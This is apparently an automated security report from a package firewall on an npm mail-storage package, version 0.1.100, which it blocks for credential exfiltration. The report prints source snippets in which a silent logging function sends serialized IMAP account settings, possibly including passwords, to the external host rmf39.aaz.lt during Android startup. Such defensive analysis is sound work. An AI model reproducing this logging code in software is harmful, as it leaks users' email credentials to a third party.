---
canonical: "https://firewall.lpm.dev/npm/@bobfrankston/mailx-store-web/v/0.1.100"
markdown: "https://firewall.lpm.dev/npm/@bobfrankston/mailx-store-web/v/0.1.100.md"
package: "@bobfrankston/mailx-store-web"
report_status: "published"
title: "@bobfrankston/mailx-store-web@0.1.100 npm security report"
verdict: "malicious"
version: "0.1.100"
---

# @bobfrankston/mailx-store-web@0.1.100 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — An external host can receive email addresses, mail server settings, and IMAP passwords.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Credential Exfiltration
- **Selected version:** 0.1.100
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Normal Android bootstrap silently sends account configuration logs to a third-party host. The logged IMAP object can contain the account password.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 99.0%
- **Started:** 2026-09-03T15:31:58.138Z
- **Finished:** 2026-09-03T15:32:52.533Z
- **Download time:** 506 ms
- **Static scan time:** 411 ms
- **AI review time:** 53478 ms
- **Total time:** 54395 ms

## Security analysis

### Published attack-surface review

- **Summary:** Normal Android bootstrap silently sends account configuration logs to a third-party host. The logged IMAP object can contain the account password.

- **Trigger:** A consumer calls initAndroid during normal Android application startup.

- **Impact:** An external host can receive email addresses, mail server settings, and IMAP passwords.

- **Evidence paths:** android-bootstrap.ts

- **Review source:** ai\_review

- **Reviewed:** 2026-09-03T15:32:52.533Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Silent remote logging of serialized mail account configuration.

- **Attack narrative:** During Android initialization, the package loops through cloud account records and passes a JSON serialization of each IMAP configuration to vlog. vlog URL-encodes that text into a request to rmf39.aaz.lt with silent=true. The same IMAP configuration is later used with account.imap.password, establishing that passwords may be included in the transmitted object.

- **Rationale:** The package silently exports mail account configuration, including possible IMAP passwords, to an unrelated remote logging endpoint during normal runtime. This is concrete credential exfiltration, not required for mail synchronization.

- **Files touched:** android-bootstrap.js

- **Network endpoints:** rmf39.aaz.lt

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** The Android bootstrap sends verbose logs to an unrelated external host., Initialization serializes each account IMAP configuration into that log stream; such configuration can include the password used later by the same code., The logging is silent and activates during normal Android initialization.

- **Evidence against:** The manifest has no install lifecycle scripts., The package's Google API requests are tied to its mail and Drive functions.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 3. Critical: Hardcoded Runtime Data Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** worker-entry.ts
- **Public source:** [View source](<https://unpkg.com/@bobfrankston/mailx-store-web@0.1.100/worker-entry.ts>)

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

Public source snippet (untrusted):

```typescript
L37: try {
L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});
L39: } catch { /* ignore */ }
...
L90: if (!homeRes.ok) return null;
L91: const home = (await homeRes.json() as any).files?.[0];
L92: if (!home?.id) return null;
```

### 4. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 5. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 6. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 75.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 7. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** worker-bundle.js
- **Public source:** [View source](<https://unpkg.com/@bobfrankston/mailx-store-web@0.1.100/worker-bundle.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @bobfrankston/rmfmail@1.2.296
matchedPath = packages/mailx-store-web/worker-bundle.js
matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.296
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 8. High: Known Malware Source Fingerprint Signature
- **Category:** Supply Chain
- **Confidence:** 94.0%
- **Path:** worker-bundle.js
- **Public source:** [View source](<https://unpkg.com/@bobfrankston/mailx-store-web@0.1.100/worker-bundle.js>)

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = malicious_source_fingerprint_signature
signature = 86c6c770dc430ab0
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = @bobfrankston/mailx-store-web@0.1.99
matchedPath = worker-bundle.js
matchedIdentity = npm:[redacted]:0.1.99
similarity = 1.000
shingleOverlap = 11
summary = package final verdict is malicious
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** android-bootstrap.ts
- **Public source:** [View source](<https://unpkg.com/@bobfrankston/mailx-store-web@0.1.100/android-bootstrap.ts>)

The Android bootstrap sends verbose logs to an unrelated external host.

Public source snippet (untrusted):

```typescript
/** Verbose log — goes to logit but doesn't clutter the screen (silent=true) */
function vlog(msg: string): void {
    try {
        fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});
    } catch { /* ignore */ }
}
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** android-bootstrap.ts
- **Public source:** [View source](<https://unpkg.com/@bobfrankston/mailx-store-web@0.1.100/android-bootstrap.ts>)

Initialization serializes each account IMAP configuration into that log stream; such configuration can include the password used later by the same code.

Public source snippet (untrusted):

```typescript
let setUp = 0;
                    for (const account of accounts) {
                        vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`);
                        if (!account.enabled) {
                            vlog(`init: ${account.id} disabled, skipping`);
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** android-bootstrap.ts
- **Public source:** [View source](<https://unpkg.com/@bobfrankston/mailx-store-web@0.1.100/android-bootstrap.ts>)

Initialization serializes each account IMAP configuration into that log stream; such configuration can include the password used later by the same code.

Public source snippet (untrusted):

```typescript
try {
                const provider = new ImapWebProvider({
                    server: account.imap.host,
                    port: account.imap.port || 993,
                    username: account.imap.user,
                    password: account.imap.password,
                    inactivityTimeout: 300000,   // 300s for slow Dovecot
                    fetchChunkSize: 10,
                    fetchChunkSizeMax: 100,
                }, () => new BridgeTcpTransport());
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** android-bootstrap.ts
- **Public source:** [View source](<https://unpkg.com/@bobfrankston/mailx-store-web@0.1.100/android-bootstrap.ts>)

The logging is silent and activates during normal Android initialization.

Public source snippet (untrusted):

```typescript
export function initAndroid(): Promise<void> {
    // C158: idempotency guard. The 2026-07-22 fold/unfold logit trail showed
    // ONE WebView reload executing the boot module TWICE — duplicate "bridge
    // installed", duplicate GDrive lookups, tripled OAuth launches. The
    // guard lives on window (not a module local) so it holds even when the
    // module itself is instantiated twice (bundle + package-path specifiers
    // resolve to distinct module instances).
    const w = window as any;
    if (w.__rmfInitAndroid) {
        console.warn("[android] initAndroid called again — dup
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 7
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 7

### Published dependency entries
- @bobfrankston/iflow-direct ^0.1.68 (Dependency)
- @bobfrankston/mailx-bus ^0.1.2 (Dependency)
- @bobfrankston/mailx-sync ^0.1.29 (Dependency)
- @bobfrankston/mailx-types ^0.1.78 (Dependency)
- @bobfrankston/smtp-direct ^0.1.9 (Dependency)
- @bobfrankston/tcp-transport ^0.1.8 (Dependency)
- sql.js ^1.14.1 (Dependency)

## Package metadata
- **Package:** @bobfrankston/mailx-store-web
- **Ecosystem:** npm
- **Version:** 0.1.100
- **License:** ISC
- **Version published:** 2026-09-02T21:01:15.719Z
- **Package first seen:** 2026-07-02T13:06:13.825Z
- **Package last seen:** 2026-09-03T15:34:45.021Z
- **Known versions:** 42
- **Latest version:** 0.1.101
- **Appeal under review:** No
- **Artifact files:** 76
- **Artifact unpacked size:** 1,130,554 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@bobfrankston/mailx-store-web/v/0.1.100>)
- [Repository](<https://github.com/BobFrankston/mailx-store-web.git>)
- [Homepage](<https://github.com/BobFrankston/mailx-store-web#readme>)
- [Issues](<https://github.com/BobFrankston/mailx-store-web/issues>)
